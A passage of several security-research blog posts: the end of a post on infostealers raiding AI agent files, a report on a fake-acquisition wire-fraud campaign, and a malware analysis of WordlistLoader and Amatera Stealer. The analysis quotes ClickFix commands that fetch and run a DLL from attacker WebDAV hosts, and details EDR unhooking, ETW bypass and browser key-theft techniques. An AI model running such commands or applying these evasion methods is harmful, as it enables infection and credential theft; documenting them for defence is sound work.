data-list-item-id="e1288f8a1a4ebbb51184460556d34c0db">Limit what connected tools can do. Give MCP integrations only the permissions they need, favor short-lived and narrowly scoped tokens, and separate personal, development, and production access. Review old servers and revoke connections that are no longer used.&nbsp;</li><li data-list-item-id="ea4fc9c9016c9026dbf5d7ada8eee07f6">Protect the endpoint. Keep the operating system and applications updated, use reputable endpoint protection, and be particularly cautious with ClickFix/FakeCaptcha instructions, cracked software, unofficial installers, and other common routes used to deliver information stealers.&nbsp;</li><li data-list-item-id="ea8ebc0cc54527b97295b8e4240320f3c">Expand incident response. After a stealer infection, changing browser passwords alone is no longer enough. From a clean device, revoke AI-service sessions, rotate API keys and other credentials used by MCP connections, review connected applications and account activity, and assess whether local prompts or transcripts exposed company information. Multi-factor authentication remains important, but it may not stop abuse of a session token that has already been stolen.&nbsp;</li></ul><h2 class="text-align-justify">Safer defaults have to come from the products too</h2>Users cannot carry this responsibility alone, so agent developers should minimize the amount of sensitive information kept locally, separate authentication material from ordinary history, use OS-protected credential storage wherever possible, and make retention controls easy to find and understand. Tokens should be short-lived, scoped to the smallest practical set of permissions, and simple to revoke. MCP connections need equally clear visibility, so users and administrators can see what is connected, what it can access, and when it was last used.&nbsp;Encryption at rest can help, but it should not become a reassuring label without a threat model behind it. If the decryption key is stored beside the database, or the application automatically unlocks everything for any process running as the user, an information stealer may still obtain the data. Reducing what is retained and limiting the value and lifetime of credentials are just as important as encrypting the file.&nbsp;AI agents are becoming a new layer of working memory on our devices, storing not only what we ask them, but also who we are, what we are building, and which services we have allowed them to reach. Information stealers have already adjusted their collection rules to reflect that value, and because another agent can sometimes be added with a simple configuration update, the target list will continue to change as adoption grows.&nbsp;Once an AI agent holds credentials, conversation history, and a map of the user’s work, its local files are no longer merely configuration. They have become another high-value data store on the device, and attackers are already treating them that way.&nbsp;

Malware operators are expanding beyond browser passwords and crypto wallets to collect access tokens, MCP configurations, prompt histories and project data stored by AI tools. 

Infostealers Have Found a New Target: Your AI Agent 

It started with an innocent WhatsApp message.“Hi David, I hope you are well. Are you at the office?”The sender claimed to be a real Gen executive based in Dublin. The profile used his name, photograph and an Irish telephone number. Nothing in the opening message mentioned money, urgency or an acquisition. It was simply designed to establish whether the recipient was available and willing to respond.The recipient, whom we will call David, worked in Gen’s legal team and knew the colleague being impersonated. The unfamiliar telephone number raised suspicion, and the first phone conversation confirmed it: the caller’s voice did not match.David knew he was dealing with a scam. Every subsequent message, call and document formed part of a controlled effort to understand how the operation worked and gather evidence about the people behind it.What followed involved a second impersonated identity, forged legal documents, a fictitious confidential acquisition and a request to transfer €626,735.45 to a company in Hong Kong.What began as an attack against Gen’s legal team soon revealed a wider pattern. Our researchers found four additional targeted individuals who had received closely related NDA documents. The companies, advisers and acquisition narratives changed, but the structure, communication rules and document fingerprints remained remarkably consistent.We call the campaign Phantom Deal.<h2>A real person, but neither his number nor his voice</h2>The first persona claimed to be someone from inside the company. The attacker had selected an identity that made sense in the context of Gen’s international operations and used a phone number with the correct country code to reinforce the illusion.The deception did not survive the first call. David knew the person being impersonated, and the voice on the other end was not his.After the initial exchange, a second person entered the conversation. This time, the attacker impersonated a genuine professional associated with PwC and asked the target to provide a private email address.That request was not incidental.The forged NDA that followed instructed the recipient to keep all communication related to the acquisition on WhatsApp and personal email. The attackers tried to keep the entire exchange outside corporate communication channels before introducing any payment request.The attackers had also studied Gen’s history. The acquisition narrative referenced Avast Software and NortonLifeLock Ireland Limited, drawing on the real acquisition of Avast by NortonLifeLock in 2022 and the subsequent creation of Gen Digital. The names were familiar, the corporate relationship had existed, and an intercompany transaction could appear plausible to someone operating under pressure and secrecy.This was not a generic message sent to thousands of employees. The story had been adapted to its target. The targeting was tailored, but the execution was not flawless. David quickly identified inconsistencies in the explanation for why Avast should make a payment on behalf of NortonLifeLock Ireland Limited. His legal background and familiarity with internal transaction processes made those gaps easier to spot. A more coherent payment narrative could have made the same playbook considerably more convincing.

<h2>The NDA was not supporting material</h2>The next stage was a professional-looking NDA branded as a document from PwC.Fake legal documents are common in corporate fraud, but the NDA served a more important role than simply making the acquisition story look credible. It established the rules under which the victim was expected to operate.The document introduced a confidential acquisition, imposed a strict disclosure regime and set a near-term date for the supposed public announcement. Most importantly, it required communication to take place through WhatsApp and personal email.Under normal circumstances, instructions to avoid company systems and exclude colleagues from a major transaction would be obvious warning signs. Inside the fiction created by the NDA, the same behaviour could be presented as a legal obligation.The attackers were attempting to turn the company’s own confidentiality culture against it.The target was encouraged not to involve colleagues, not to discuss the transaction through normal channels and not to verify the instructions with Legal, Finance, Treasury, Compliance or Corporate Development. A recipient who treated the NDA as genuine would become increasingly isolated from the colleagues most likely to challenge the story.The NDA was not an accessory to the attack. It was the payload.

<h2>A deal that had to remain secret</h2>The attackers presented the acquisition as a tightly controlled transaction coordinated by a reputable adviser, with only a small group involved and an announcement approaching fast.The victim was told that the transaction would become public on June 19, 2026. The NDA had been presented only days earlier.That short window created pressure while providing a ready-made explanation for why the operation could not be discussed more broadly.The supposed adviser then sent payment instructions asking Avast Software s.r.o. to transfer money on behalf of NortonLifeLock Ireland Limited.The amount was precise: €626,735.45.The beneficiary was a company in Hong Kong, with the payment described as an “Advance Retainer for Professional Services.” The document stated that the amount would be recorded as an intercompany receivable and reimbursed when the acquisition was formally announced.It was a classic advance-payment fraud wrapped in the language of M&amp;A, legal privilege and internal corporate accounting.<h2>“I need a SWIFT MT103”</h2>Once the payment instructions had been delivered, the tone changed.The attacker began following up for confirmation that the transfer had been completed. The target was asked to provide a SWIFT MT103, the banking message used as evidence that an international transfer has been executed.“I need a swift MT103, it’s an official proof of wire transfer to attached to the package.”Later, after receiving what appeared to be a confirmation email, the attacker complained that the link would not open and asked for the document as a PDF. He then added another requirement: the confirmation should contain the UETR number, a unique reference used to track a payment through the SWIFT network.The request for the MT103 and UETR confirmed the objective. The attackers wanted proof that the funds were moving and the information needed to monitor the transfer, potentially reducing the time available for the company or its bank to intervene.

<h2>Turning the attack into intelligence</h2>Once David had identified the scam, the objective shifted from verification to intelligence gathering. Working with our researchers, he continued the exchange while the team controlled the material being sent and monitored how the operation responded.A fake account statement was prepared, showing what appeared to be the requested payment and the remaining company balance. The document contained a hidden marker that could identify whether it was opened on a system protected by one of our products.When the attackers requested formal MT103 confirmation, the team also created a fake Citibank-style confirmation email. It contained the transaction amount, beneficiary and payment reference expected by the criminals, together with a link to view the full transaction details.The link did not lead to real banking information. It contained a canary token, allowing our researchers to record when it was opened.When he reported that the link was not working, the team suggested that his VPN might be causing the problem and asked him to disable it. Further access attempts followed within minutes.The token recorded 49 HTTP requests from 43 IP addresses over 24 days. Most of the activity in the first minutes came from automated scanners, cloud services and redirect-analysis systems, so the raw count does not represent 49 actions by the attacker.After filtering that noise, the remaining data showed repeated interaction through VPNs, proxy services and several non-hosting internet connections. Some visits were separated by hours or days and used different browser profiles, behaviour consistent with a person returning to the link and attempting to retrieve the promised payment information.The network data helped us separate scanner traffic, proxy infrastructure and repeated manual access, but it was not enough to attribute the operation. Some later visits came from ordinary ISP ranges, although those connections show where the traffic exited, not necessarily where the fraudsters were located.&nbsp;The later visits showed repeated manual access by someone connected to the fraud operation, including long after the supposed transfer should have been completed.

<h2>From one attack to a wider campaign</h2>The controlled interaction gave us visibility into the live fraud attempt, while the forged NDA gave us something else: a set of document fingerprints we could hunt for.Using its structure, wording and embedded identifiers, the team found four additional NDA samples connected to other targeted individuals.The organizations and professions varied. The targets included senior people in private equity, industrial finance, sales, mining and energy. For each of them, an acquisition or strategic investment narrative would have been credible enough to justify initial engagement.The advisers also changed. Some documents impersonated PwC, while others used KPMG or Ogier branding. There is no indication that any of these firms were compromised or involved in the operation. Their names and identities were being abused to make the documents appear legitimate.Despite the different branding, the documents followed substantially the same sequence of sections and reused the same legal language. They all imposed confidentiality, directed communications towards WhatsApp and personal email, and introduced a short period between the NDA date and the supposed public announcement.They also contained the same unusual numeric identifier across documents attributed to different firms and prepared for unrelated recipients. This kind of residue is common when criminals reuse document templates. Names, dates, logos and transaction references may be changed, while less visible elements remain untouched.The repeated structure suggests that the attackers were not building each operation from scratch. They had developed a reusable M&amp;A fraud package that could be adapted to different people and companies.In the Gen case, we observed the complete chain, from WhatsApp contact to payment request and demand for MT103 confirmation. For the other four targets, we found the malicious NDA documents carrying the same core narrative and document fingerprints, but did not observe the later payment stage.Taken together, the evidence points to a wider M&amp;A-themed fraud campaign built around the same narrative and document toolkit. It does not establish that every target received identical payment instructions or that every document was operated by the same individual.<h2>No malware, no compromised mailbox</h2>Phantom Deal did not require an exploit, malicious attachment or stolen corporate email account.The operation drew on publicly available information, real names, photographs, company history and familiar business procedures. WhatsApp made the contact immediate, the forged NDA justified secrecy, and the acquisition narrative created the urgency needed to move the victim towards payment. The financial request appeared only after the surrounding story had been established.A security team searching only for malware or suspicious email links could miss the entire operation.The attack was designed to induce a process failure rather than exploit a technical vulnerability. The criminals attempted to convince the target that bypassing normal controls was necessary to protect a confidential deal.The warning signs appeared well before the Hong Kong bank account. Keeping a sensitive corporate transaction on WhatsApp and personal email was already enough to require independent verification.<h2>How companies can interrupt the chain</h2>Confidential transactions require restricted access, but secrecy should never remove independent verification.Organizations can reduce exposure by establishing a small number of rules that apply even to the most sensitive acquisitions, investments and restructuring projects:<ul type="disc"><li data-list-item-id="e79a03ebdcc50053e9752b64215ac6d0d">Payment instructions must be verified through an independently established channel, not through contact details supplied during the transaction.</li><li data-list-item-id="e56458281a15b902c959078fd579c2999">No executive, adviser or board member should be able to override payment controls through WhatsApp, personal email or a confidentiality claim.</li><li data-list-item-id="e18c724391af3cb0258190c8ed3abd5c9">Legal, Finance, Treasury and Corporate Development teams should have a defined escalation route for unexpected transaction requests.</li><li data-list-item-id="e14239b646035ac07ac66d03bc0296926">Staff involved in payments should be trained to recognize requests for MT103 documents, UETR references and other confirmation data as part of the fraud chain, not merely as administrative follow-up.</li><li data-list-item-id="ea23d5cfe13818e8eefd6ca3cdb93d591">External advisers should be contacted using verified directory information whenever their identity or instructions are in doubt.</li><li class="ck-list-marker-bold" data-list-item-id="edfd65aefb0bda3b6fe5bc0523c729c49">Changes of communication channel, especially from corporate systems to private accounts, should trigger additional scrutiny.</li></ul>The same rules must apply when the request appears to come from the CEO, a board member or someone already known to the recipient.<h3>An NDA can limit who is told about a transaction. It should never prevent the transaction from being authenticated.</h3><h2>Real details, false transaction</h2>Phantom Deal drew credibility from genuine information. The people, companies and advisers were real, as was the acquisition history connecting Gen and Avast. International payments, professional retainers and intercompany receivables are also normal elements of large corporate transactions.The transaction tying those details together was fabricated, and the execution was uneven. The caller’s voice did not match the colleague being impersonated, while the explanation for the payment contained inconsistencies that a lawyer familiar with the company’s processes could identify quickly. A more coherent story might have been considerably more dangerous.Why try this against a security company? Probably for the same reason they try it anywhere else: a security company is still a company. It has money, confidential transactions and employees whose jobs do not involve analysing scams. The attackers were not trying to defeat our security technology. They were trying to find one person who might accept the story and step outside the normal process.In this case, they chose someone who knew the colleague, recognized that the voice did not match and understood that the payment explanation made no sense. From that moment, the supposed victim was no longer following their script. He was helping us investigate it.There is also some irony in how it ended. After spending days building a narrative around trust, secrecy and urgency, someone connected to the fraud operation repeatedly interacted with the fake payment confirmation we placed in front of them.The NDA was intended to keep the operation confidential. Its reused language, structure and identifiers ultimately helped expose the campaign behind it.

Attackers posed as executives, moved conversations to WhatsApp and personal email, and forged acquisition documents to set up international wire transfers. When they targeted Gen, researchers played along, exposing a wider M&A scam.

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

Threat Researcher at Gen

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake campaigns.
</li>
<li>
Amatera has been actively developed over the past few months and has gradually become one of the most prevalent infostealers in our user base.
</li>
<li>
In this technical blog post, we highlight the changes Amatera has introduced between version 4.0.2 Beta (documented by <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire</a>) and version 4.3.3-alpha1, the latest version at the time of writing.
</li>
<li>
Key changes include enhanced static obfuscation, hardened syscall invocation through the WoW64 transition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a redesigned Application-Bound Encryption bypass.
</li>
</ul>

<h2>Introduction</h2>
Over the past few months, Amatera Stealer (also often referred to as ACR Stealer) has been actively developed and has gradually become one of the most prevalent infostealer in our user base. Most recently, we've been observing Amatera being distributed via ClearFake campaigns leveraging FakeCaptchas.
Although FakeCaptcha, as a technique, is well-known and has been documented countless times, it has proven to be one of the most effective social engineering techniques for luring victims into infecting their own machines, which is why we still keep seeing it so often in malware campaigns, and why we proactively defend against these types of attacks with our <a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard protection</a>.
In the case of ClearFake campaings, FakeCaptchas are served through compromised, legitimate websites, via injected malicious JavaScripts that overlay a fake CAPTCHA verification on top of the real website. Once the visitor clicks on the "I'm not a robot" checkbox, they're walked through the well-known ClickFix flow, where a malicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run dialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of Amatera.

As for the aforementioned injected JavaScript, it is embedded in the webpage as a Base64-encoded blob. The blob contains obfuscated JavaScript whose purpose is to retrieve another JavaScript from a smart contract stored on a blockchain (a technique known as EtherHiding), and dynamically execute the retrieved code. Through several subsequent stages, the retrieved code performs additional checks and ultimately injects a fake CAPTCHA into the compromised webpage.

Since the whole chain of how the fake CAPTCHA reaches the webpage has already been documented by <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">Expel</a>, we do not cover it further here. Interested readers can refer to <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">their article</a>. Instead, we focus on what happens when the user executes the copied command.
The clipboard commands follow a consistent pattern: they use <code>conhost</code> to launch a hidden <code>cmd</code> process, map a remote WebDAV share using <code>pushd</code>, and finally invoke the <code>Run</code> export of the downloaded DLL (WordlistLoader) via <code>rundll32</code>.
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\kudbwiw\[.\]shop-nitrilean.com!s!\96fd1e29-81b3-4b81-9231-2c7e2f78ae48 &amp; r^undl^l32 gmwmvymdzgqgptwvbslq.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\nqhuew\[.\]shop-thyrafemmebalance.com!s!\34fe76b7-73a8-42f7-bfc0-089b5069cff7 &amp; ru^ndl^l32 azjsbxanuofzndqtmtlv.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\lldoxqa\[.\]shop-nitrilean.com!s!\df696b95-bdff-48c0-94da-68eb6598a012 &amp; r^undl^l32 dldwwqhuxbpvaqeyylar.dll,Run"</code>
This pattern closely resembles campaigns recently documented by <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/#campaign-1-webdav-based-clickfix-with-python-loaders-and-blockchain-c2">Microsoft</a>, suggesting an evolution of the distribution chain, with the operators using a similar delivery mechanism while replacing the Python-based loaders with WordlistLoader.

<h2>WordlistLoader</h2>
The primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a shellcode that serves as the entry point for subsequent stages. Before transferring control to the shellcode, WordlistLoader performs three preparatory actions, two of which serve as defense-evasion mechanisms:
<ul>
<li>
A single-instance check based on a named event
</li>
<li>
Unhooking of all loaded modules
</li>
<li>
An ETW bypass based on a hardware breakpoint and VEH
</li>
</ul>

<h3>Unhooking Loaded Modules</h3>
To determine whether a function is hooked, WordlistLoader enumerates loaded modules with <code>CreateToolhelp32Snapshot</code> using the <code>TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32</code> flags, skips those whose name contains <code>.exe</code>, and compares the first instruction of each named export with the corresponding instruction in a clean copy read from disk.

A function is considered hooked when its in-memory prologue begins with one of the following jump opcodes and the clean copy does not, or when both begin with a jump, but to a different target:
<ul>
<li><code>E9</code> (near relative jump)</li>
<li><code>EB</code> (short relative jump)</li>
<li><code>EA</code> (far absolute jump)</li>
<li><code>FF</code> (indirect jump, although only <code>FF 25</code>, i.e. <code>jmp dword ptr [addr]</code>, is handled correctly)</li>
</ul>
Before the opcode is read, a single legacy prefix (<code>0x2E</code>, <code>0x36</code>, <code>0x3E</code>, <code>0x64</code>, <code>0x65</code>, <code>0x66</code>, <code>0xF0</code>, or <code>0xF2</code>) is skipped on either side, so that a prefixed jump is not mistaken for untouched code. Additionally, if the in-memory prologue is not a jump but matches <code>4C 8B D1 E9</code>, i.e. an x64 syscall stub (a <code>mov r10, rcx</code> followed by a jump instruction), the comparison is shifted three bytes forward to start at the jump. Whenever a hook is detected, the loader computes the length of the offending jump and restores the original bytes from the clean copy.

Notably, the copy read from disk is never relocated, which is precisely why the loader checks for a jump instead of simply diffing the two prologues, as a mapped module legitimately differs from its on-disk copy wherever an absolute address appears. This is exactly the case with <code>FF 25</code> thunks, where WordlistLoader compares only the low 16 bits of the pointer, which the relocation delta cannot affect, as image bases are always aligned to 64 kB.

<h3>ETW Bypass</h3>
The second defense-evasion mechanism employed by WordlistLoader is a hardware-breakpoint-based ETW (Event Tracing for Windows) bypass, which comes down to setting a hardware breakpoint on <code>ntdll!NtTraceEvent</code> and registering a vectored exception handler. Every call to <code>NtTraceEvent</code> then raises an <code>EXCEPTION_SINGLE_STEP</code> exception, which the handler resolves by pointing the instruction pointer (<code>EIP</code>) at a stub that does nothing but return zero, and resuming execution there. Execution therefore never reaches the body of <code>NtTraceEvent</code>, so the event is never logged, and since the call still returns <code>STATUS_SUCCESS</code> (<code>0x00000000</code>), the caller has no indication anything went wrong.

<h3>Building the Shellcode</h3>
Finally, the loader proceeds to reconstruct the shellcode, which is stored in encoded form as a sequence of plain English words, with each word representing exactly one byte. The mapping from English words to byte values is defined by a build-specific wordlist of 256 distinct words: the word at index 0 decodes to <code>0x00</code>, the word at index 144 to <code>0x90</code>, and so on.
Both the wordlist and the encoded sequence are stored as arrays of pointers, so the loader matches addresses rather than the strings themselves. Rebuilding the shellcode thus comes down to iterating over the word sequence, looking up each word in the list, and writing the index of the matching entry into the output buffer. Once the entire sequence has been processed, the buffer contains the reconstructed shellcode. Hence the name WordlistLoader.

Notably, we also identified a modified version of WordlistLoader in which the wordlist is replaced with an array of UUIDs, while the loader's execution flow otherwise remains unchanged. Rather than encoding the shellcode one byte at a time, this variant represents it as a sequence of 16-byte UUID-encoded chunks. The loader reconstructs the shellcode by iterating over the array and passing each entry to <code>UuidFromStringA</code>, which converts the UUID into the corresponding 16 bytes of shellcode.

<h3>The Shellcode</h3>
The shellcode begins with a NOP sled, followed by an anti-emulation stub whose sole purpose, apart from burning time, is to repeatedly patch a single byte. Using the standard <code>call/pop</code> trick, the stub takes its own return address as the patching target and enters an outer loop of 254 rounds, with each iteration first executing an inner delay loop and then patching the target address (which is the same for every iteration). The value written decreases with every round, ultimately reaching <code>0x90</code> on the final iteration. As shown in Figure 11 below, the patched byte is part of a <code>call dword ptr [eax-0x6F6F6F70]</code> instruction, which corresponds to the <code>FF 90 90 90 90 90</code> opcodes. Therefore, overwriting the first byte with <code>0x90</code> turns the <code>call</code> instruction into a run of NOPs, allowing execution to fall through to the decryption stub that follows.
The stub's anti-emulation purpose is apparent from its runtime cost, as each of the 254 patches is preceded by the delay loop of 16,777,215 (<code>0xFFFFFF</code>) iterations that perform no meaningful computation.

Execution then proceeds to the decryption stub, which uses the same <code>call/pop</code> trick to obtain a pointer to the encrypted blob that follows. The blob consists of a sequence of 33-byte records, each comprising a one-byte XOR key followed by 32 encrypted bytes, together forming a next stage executed afterward. For each record, the stub XORs the 32 encrypted bytes with that record's key and writes them back into the same buffer, dropping the key bytes and repeating this cycle until it encounters a <code>0x11C311C3</code> marker terminating the stream.
Finally, execution is transferred to the decrypted code, which resolves <code>NtProtectVirtualMemory</code>, re-protects the region as <code>PAGE_EXECUTE</code> (dropping the write access needed for the in-place decryption), and hands control over to a reflective loader responsible for unpacking and loading Amatera.

Interestingly, the reflective loader is identical to the one <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire documented</a> several months ago, suggesting it might originate directly from the Amatera authors. As for WordlistLoader, we've only observed it delivering Amatera, which would point in the same direction, though we have no further evidence to support that claim.

<h2>Amatera 4.3.3-alpha1</h2>
Amatera was recently <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">documented by eSentire</a>, covering version 4.0.2 Beta. Since then, however, the stealer has remained under active development and has moved through several versions, with the latest one we have observed being 4.3.3-alpha1. In this section, we focus on the changes introduced between version 4.0.2 Beta and version 4.3.3-alpha1.
<h3>Static Obfuscation</h3>
First of all, Amatera has undergone several updates in terms of static obfuscation. The first major change was introduced in version 4.1.0-alpha.1, when Amatera began incorporating control-flow flattening and indirect control-flow obfuscation into its builds, roughly doubling the size of the resulting binaries.

Another notable change concerns API hashing. In version 4.0.2 Beta, all imports were resolved using a single hashing algorithm, so precomputing the hashes once was sufficient to annotate every call. In newer versions, the resolution is spread across dozens of nearly identical resolvers, each using its own multiply-rotate-XOR hash with different constants and operation order. Consequently, the same API name maps to a different hash value depending on which resolver handles the call. Hashes must therefore be precomputed separately for each resolver, slowing down the analysis.
Finally, as is quite typical for Amatera, it has revised its string obfuscation once again. Each string is now stored as a ciphertext blob, with its length and a numeric key index supplied at the decryption call site. For every byte, the key index and the byte's offset are mixed into a 64-bit state through four splitmix64-style rounds, producing four key bytes. The plaintext byte is then recovered as <code>ROR((ciphertext ^ key_3) - key_2, key_1) ^ key_0</code>.
Interestingly, the decryption routine also employs a deliberate stack modification aimed at thwarting decompilation. The modification occurs in a dead branch guarded by a flag that is never set anywhere in the binary. Should the branch ever be taken, it would subtract <code>0x7FFFFF00</code> from <code>ESP</code>, call a stub that does nothing but return zero, and add the same value back to <code>ESP</code>. Such a stack shift (of almost 2 GB) is nothing a regular compiler would ever emit, and is enough to break IDA's stack-frame reconstruction and make it refuse to decompile the function. For now, we have only observed this trick in a single function, but given the pace at which Amatera evolves, it would not be surprising to see it spread across the whole binary in the future.

<h3>Hardened Syscall Invocation Through the WoW64 Transition</h3>
First, it is appropriate to acknowledge <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">Stephen Eckels</a>, whose article <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques</a> explains the mechanisms discussed below in greater detail. Second, it is worth highlighting that Amatera is a 32-bit stealer, as that is what makes the techniques described below possible.
In a 32-bit process running on 64-bit Windows, every interaction with the operating system has to eventually end in the 64-bit kernel. From the process's point of view, however, everything has to look as if it were running on 32-bit Windows. That is where the WoW64 (Windows on Windows) layer comes into play, seamlessly translating WinAPI calls from 32-bit user space to the 64-bit operating system kernel. Simply put, the whole mechanism is built around the fact that the process runs with two ntdlls loaded side by side: the 32-bit one the application interacts with, which "forwards" the call to the WoW64 layer, and the 64-bit one, used once the call reaches 64-bit mode.
In practice, the application calls a function in the 32-bit ntdll, which passes control to <code>ntdll!Wow64SystemServiceCall</code>. From there, the execution continues through <code>ntdll!Wow64Transition</code> and lands in <code>wow64cpu!KiFastSystemCall</code>, the stub through which the WoW64 layer leaves the 32-bit world. The transition is achieved by a far jump using the <code>0x33</code> selector, which switches the processor into 64-bit mode, where the WoW64 layer issues the actual syscall.
In an effort to be stealthier and evade user-mode hooks, Amatera skips the 32-bit ntdll part of that chain altogether, resolving the syscall numbers on its own and entering the WoW64 layer directly through <code>wow64cpu!KiFastSystemCall</code>. The transition itself is performed as an indirect call to <code>TEB-&gt;WOW32Reserved</code>, a field that conveniently holds the address of <code>wow64cpu!KiFastSystemCall</code>.
In version 4.0.2 Beta, Amatera had a dedicated stub for every syscall it wanted to invoke this way, each of them loading the masked SSN from a global, unmasking it with a XOR, and calling <code>TEB-&gt;WOW32Reserved</code> directly through the <code>call large dword ptr fs:0C0h</code> instruction. However, regular applications do not make direct calls to <code>TEB-&gt;WOW32Reserved</code>, making the sequence fairly noisy.

That is why, in newer versions, Amatera no longer invokes <code>TEB-&gt;WOW32Reserved</code> directly. Instead, it uses indirect calls routed through a global variable holding the same transition address. On top of that, most of the stubs have been padded with random junk instructions scattered between the remaining instructions, so that the stubs leave behind neither the <code>fs:0C0h</code> reference nor the uniform layout.

Moreover, the address of <code>wow64cpu!KiFastSystemCall</code> that is stored in that global variable is not retrieved by a simple read of <code>fs:[0xC0]</code>, but through a dedicated Heaven's Gate stub. Newer versions also check the resolved transition address before putting it to use, by verifying that it falls within the range of <code>wow64cpu.dll</code>, i.e. that the gate has not been redirected elsewhere (hooked).

<h3>x64 Syscall Trampolines Executed Through Heaven's Gate</h3>
Being a 32-bit process, however, also brings other challenges Amatera has to deal with, most notably when interacting with 64-bit browsers during the Application-Bound Encryption (ABE) bypass. Reaching into a 64-bit process requires working with 64-bit pointers, which do not fit through the WoW64 gate, and while the 32-bit ntdll exposes a handful of <code>NtWow64*</code> helpers for exactly that purpose (such as, for example, <code>NtWow64AllocateVirtualMemory64</code> or <code>NtWow64WriteVirtualMemory64</code>), they do not cover everything Amatera requires for its injection technique.
That is why Amatera employs Heaven's Gate, a technique that allows 64-bit code to be executed from within a 32-bit process on a 64-bit operating system (essentially, a manual version of the mode switch the WoW64 layer performs internally, naturally skipping the 32-bit ntdll layer as well). Heaven's Gate, as such, however, is nothing new in Amatera and has been there for quite some time already. What has changed is what the Gate leads to for a part of the calls Amatera makes through it.
In version 4.0.2 Beta, Amatera used Heaven's Gate to invoke 64-bit ntdll exported functions, passing the arguments according to the standard Microsoft x64 calling convention, with the execution therefore going through the export's prologue. However, just as AV and EDR products can hook exported functions in the 32-bit ntdll, they can hook the 64-bit ones as well. To avoid that, in newer versions, a fixed set of twelve syscalls (for example, <code>NtReadVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, <code>NtAllocateVirtualMemory</code>, <code>NtMapViewOfSection</code>, and <code>NtSetIoCompletion</code>) is set up to skip the export entirely, with Amatera resolving their syscall numbers on its own (and validating them against a pristine copy of ntdll read from disk) and issuing each call through an indirect x64 syscall trampoline built at runtime.
Each trampoline consists of a 24-byte stub containing <code>mov r10, rcx</code>, <code>mov eax, SSN</code>, and a RIP-relative indirect jump to a <code>syscall; ret</code> gadget inside ntdll (located by scanning the ntdll mapped in memory). To build and execute them, Amatera creates a section with <code>NtCreateSection</code> and maps it twice in its own process using <code>NtMapViewOfSection</code>: once with <code>RW</code> permissions for writing the stubs and once with <code>RX</code> permissions for running them.

<h3>Revamped Application-Bound Encryption Bypass</h3>
Up until recently, Amatera bypassed Application-Bound Encryption the same way most stealers do, i.e., by injecting a payload into the browser process and invoking <code>IElevator::DecryptData</code> through the COM interface to decrypt the <code>v20_master_key</code> directly from the browser's context.
Since version 4.1.0-alpha.1, however, the bypass has been revamped into an approach that closely resembles that of Remus/Lumma. In fact, the bypass is so alike that we believe Amatera's implementation was directly inspired by it. Therefore, as we have already covered the technique in <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">our previous blog post</a>, we will only do a quick recap of the bypass's main idea and focus solely on where Amatera's approach differs. For interested readers, we recommend revisiting our earlier post.
From a high-level perspective, the bypass relies on the fact that a running Chromium-based browser keeps the <code>v20_master_key</code> stored in memory. There, however, the key is protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag, which limits decryption to the process that encrypted the data. Therefore, the bypass comes down to locating the protected key and injecting a payload that decrypts it using the complementary <code>CryptUnprotectMemory</code> from within the browser's context.
To find the key, Amatera, just like Remus and Lumma, scans the browser's memory for a 20-byte pattern, trying to find the <code>lea</code> instruction that loads the address of the <code>os_crypt_async::Encryptor</code> vftable, as that is the class holding the protected <code>v20_master_key</code>. On a match, it resolves the vftable address using the displacement of the <code>lea</code> instruction, and since a pointer to it sits at the very beginning of every instance of that class, a second scan of the browser's memory makes it possible to locate a live instance holding the key. From there, extracting the protected <code>v20_master_key</code> is just a matter of walking the object's tree of key entries and taking the one tagged <code>v20</code>.
The clearest evidence of the shared origin, however, is the signature itself. Amatera builds the pattern as <code>48 8D 05 00 00 00 00 48 89 01 48 8B 02 48 89 41 00 48 8D 41</code> and pairs it with the wildcard mask <code>0xEFF87</code>, the very same mask Remus applies to <code>48 8D 05 8B CC 8D 02 48 89 01 48 8B 02 48 89 41 5B 48 8D 41</code>. Breaking it down, the only positions in which the two patterns differ are the four displacement bytes of the <code>lea</code> instruction and the displacement byte of the <code>mov</code> instruction. These are precisely the five bytes the mask excludes from the comparison, which Amatera leaves zeroed out, while Remus keeps the values from whichever <code>chrome.dll</code> build the pattern was lifted from. Everything else, the mask included, matches byte for byte.

Where Amatera's approach differs is in the size of the injected payload and the way it is injected into the browser. Remus and Lumma get by with less than a hundred bytes of shellcode as the payload has a single job: to call <code>CryptUnprotectMemory</code> on the memory pointing to the encrypted <code>v20_master_key</code> and copy it into a pre-allocated buffer. Amatera's payload is considerably larger (thousands of bytes), but it also does considerably more. Besides the logic for decrypting the key, the payload carries the entire logic for locating it, as well as the logic for recovering the legacy <code>v10_master_key</code>.
